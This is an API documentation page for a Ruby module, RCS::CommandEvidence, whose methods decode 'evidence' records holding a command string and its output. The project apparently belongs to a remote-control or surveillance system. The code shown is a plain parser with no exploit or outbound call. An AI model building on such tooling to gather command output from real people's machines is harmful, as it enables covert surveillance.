Module: RCS::CommandEvidence

Defined in:
lib/rcs-common/evidence/command.rb

Instance Method Summary collapse

Instance Method Details

#contentObject



7
8
9
10
11
12
13
# File 'lib/rcs-common/evidence/command.rb', line 7

def content

  raise "this evidence cannot be generated here"

  # it is partiallly encrypted and partially not

end

#decode_additional_header(data) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
# File 'lib/rcs-common/evidence/command.rb', line 19

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete COMMAND") if data.nil? or data.bytesize == 0

  ret = Hash.new
  ret[:data] = Hash.new

  binary = StringIO.new data
  ret[:data][:command] = binary.read_ascii_string

  ret
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info)


31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# File 'lib/rcs-common/evidence/command.rb', line 31

def decode_content(common_info, chunks)
  stream = StringIO.new chunks.join

  output = stream.read

  info = Hash[common_info]

  info[:grid_content] = output unless output.nil?

  info[:data] ||= Hash.new
  info[:data][:content] = output.safe_utf8_encode_invalid unless output.nil?
  info[:data][:content] ||= ''

  yield info if block_given?

  :delete_raw
end

#generate_contentObject



15
16
17
# File 'lib/rcs-common/evidence/command.rb', line 15

def generate_content
  [ content ]
end